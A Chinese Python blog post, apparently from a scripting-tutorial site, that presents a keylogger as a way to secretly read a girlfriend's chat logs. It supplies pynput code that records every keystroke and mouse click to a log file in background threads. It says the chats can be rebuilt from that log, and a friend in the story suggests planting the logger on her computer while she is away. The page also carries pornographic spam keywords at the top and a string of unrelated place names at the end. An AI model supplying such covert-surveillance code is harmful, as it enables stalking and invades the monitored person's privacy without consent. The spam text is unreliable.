最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python獲取女友聊天記錄詳細(xì)流程

 更新時間:2022年09月14日 10:06:44   作者:世上本無鬼  
就在前段時間,在大學(xué)睡我上鋪的兄弟,在兄嘚群里討論,說:他發(fā)現(xiàn)女朋友這幾天只要下班就坐在電腦前,不是工作原因。而且只要他靠近一點就會立即退出頁面,所以他一直很懷疑,在群里問我們這一個個單身狗。然后就出現(xiàn)下面這一段對話

在這里插入圖片描述

A朋友:你直接問。
B朋友:你女朋友睡了后,偷偷拿電腦查。
C朋友:咱們不吊死在一棵樹上,不對勁就早點脫身。
D朋友:我覺得A的不行,直接問容易打草驚蛇,不過他在你面前表現(xiàn)的這么明顯,你可以去找他聊下,你們之間是不是感情出問題了。
F朋友:嘿,我不和你離的不遠(yuǎn)嗎?支開你女朋友我上你家,幫你搞個能獲得聊天記錄的,這不就完美了嗎?

在這里插入圖片描述

1.使用pynput庫

pynput 可以監(jiān)控我們的鍵盤和鼠標(biāo)。目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當(dāng)我們只需要監(jiān)控鍵盤和鼠標(biāo)時,它們就顯得過于笨重了。

2.對鍵盤監(jiān)控

在他的電腦常駐一個后臺進(jìn)程去實現(xiàn)監(jiān)控鍵盤輸入并記錄下來,代碼大概可以這樣:

from pynput import keyboard
 
 
def on_press(key):
    print(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
 
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

控制臺打?。?/p>

在這里插入圖片描述

3.對鼠標(biāo)監(jiān)控

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

控制臺打印:

在這里插入圖片描述

你會發(fā)現(xiàn),每條打印都被打印了兩次,這是因為按下去和抬起來都會觸發(fā)鼠標(biāo)事件。

4.監(jiān)控并記錄到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定義日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
# 定義f1用于線程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
 
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')
 
# 定義f2用于線程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    # 起兩個線程分別監(jiān)控鍵盤和鼠標(biāo)
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

查看日志內(nèi)容:

在這里插入圖片描述

這樣鍵盤操作已經(jīng)全部被記錄,通過對這個日志文件進(jìn)行簡單的 NLTK 語言處理,就能復(fù)原聊天記錄。
這個記錄就不給你們展示了,屬于隱私,但能告訴你們結(jié)果,嗯,其實他女友挺好,看我上鋪兄弟每次都要加班很晚,身體有點不行了,但又好面子,所以偷偷給他在網(wǎng)上買補藥,想給他補補~笑死

在這里插入圖片描述

到此這篇關(guān)于Python獲取女友聊天記錄詳細(xì)流程的文章就介紹到這了,更多相關(guān)Python 獲取聊天記錄內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python math 模塊完全指南

    Python math 模塊完全指南

    本文主要介紹了Python math 模塊完全指南,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-06-06
  • Laravel+Dingo/Api 自定義響應(yīng)的實現(xiàn)

    Laravel+Dingo/Api 自定義響應(yīng)的實現(xiàn)

    這篇文章主要介紹了Laravel+Dingo/Api 自定義響應(yīng)的實現(xiàn),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-02-02
  • python第三方庫subprocess執(zhí)行cmd同時輸入密碼獲取參數(shù)

    python第三方庫subprocess執(zhí)行cmd同時輸入密碼獲取參數(shù)

    本文給大家介紹python subprocess執(zhí)行cmd同時輸入密碼獲取參數(shù),手動輸入cmd命令,本文給大家逐一介紹這個命令的使用方法,感興趣的朋友跟隨小編一起看看吧
    2024-01-01
  • 講解python參數(shù)和作用域的使用

    講解python參數(shù)和作用域的使用

    本文會介紹如何將語句組織成函數(shù),還會詳細(xì)介紹參數(shù)和作用域的概念,以及遞歸的概念及其在程序中的用途。
    2013-11-11
  • Python數(shù)據(jù)結(jié)構(gòu)列表

    Python數(shù)據(jù)結(jié)構(gòu)列表

    這篇文章主要介紹了Python數(shù)據(jù)結(jié)構(gòu)列表,本文重點內(nèi)容主要是對列表數(shù)據(jù)結(jié)構(gòu)的使用,在Python中,序列是一組按順序排列的值。Python?有?3?種內(nèi)置的序列類型:字符串、?元組和列表,下面一起進(jìn)入文章了解更詳細(xì)內(nèi)容吧,需要的小伙伴可以參考一下</P><P>
    2021-12-12
  • 詳解Django中CSRF和CORS的區(qū)別

    詳解Django中CSRF和CORS的區(qū)別

    本文主要介紹了詳解Django中CSRF和CORS的區(qū)別,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-08-08
  • 微信公眾號token驗證失敗解決方案

    微信公眾號token驗證失敗解決方案

    這篇文章主要介紹了微信公眾號token驗證失敗解決方案,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-07-07
  • Python中的time和datetime模塊使用方法詳解

    Python中的time和datetime模塊使用方法詳解

    Python 中的 time 和 datetime 模塊是處理時間和日期的重要工具,它們可以執(zhí)行各種操作,如獲取當(dāng)前時間、格式化日期、計算時間差等,本文將分享這兩個模塊的使用方法,包括安裝、基本功能、日期時間對象、時間戳、時間間隔、日期時間格式化和示例代碼
    2023-11-11
  • python實現(xiàn)人像動漫化的示例代碼

    python實現(xiàn)人像動漫化的示例代碼

    這篇文章主要介紹了python實現(xiàn)人像動漫化的示例代碼,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2020-05-05
  • 關(guān)于Python 3中print函數(shù)的換行詳解

    關(guān)于Python 3中print函數(shù)的換行詳解

    最近在學(xué)習(xí)python3,發(fā)現(xiàn)了一個問題想著總結(jié)出來,所以下面這篇文章主要給大家介紹了關(guān)于Python 3中print函數(shù)換行的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對需要的朋友們具有一定的參考學(xué)習(xí)價值,感興趣的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧。
    2017-08-08

最新評論

兰溪市| 鹤庆县| 龙门县| 桃江县| 高雄县| 满城县| 恩施市| 嘉兴市| 阳原县| 景泰县| 绵阳市| 洛宁县| 隆尧县| 云南省| 抚州市| 东港市| 永仁县| 南昌县| 定州市| 乌兰浩特市| 清水河县| 津南区| 遂宁市| 修文县| 崇明县| 蒲城县| 金门县| 汶川县| 峨眉山市| 沈阳市| 鸡泽县| 汝南县| 太仓市| 太谷县| 滨州市| 江北区| 门头沟区| 惠来县| 云南省| 漯河市| 惠州市|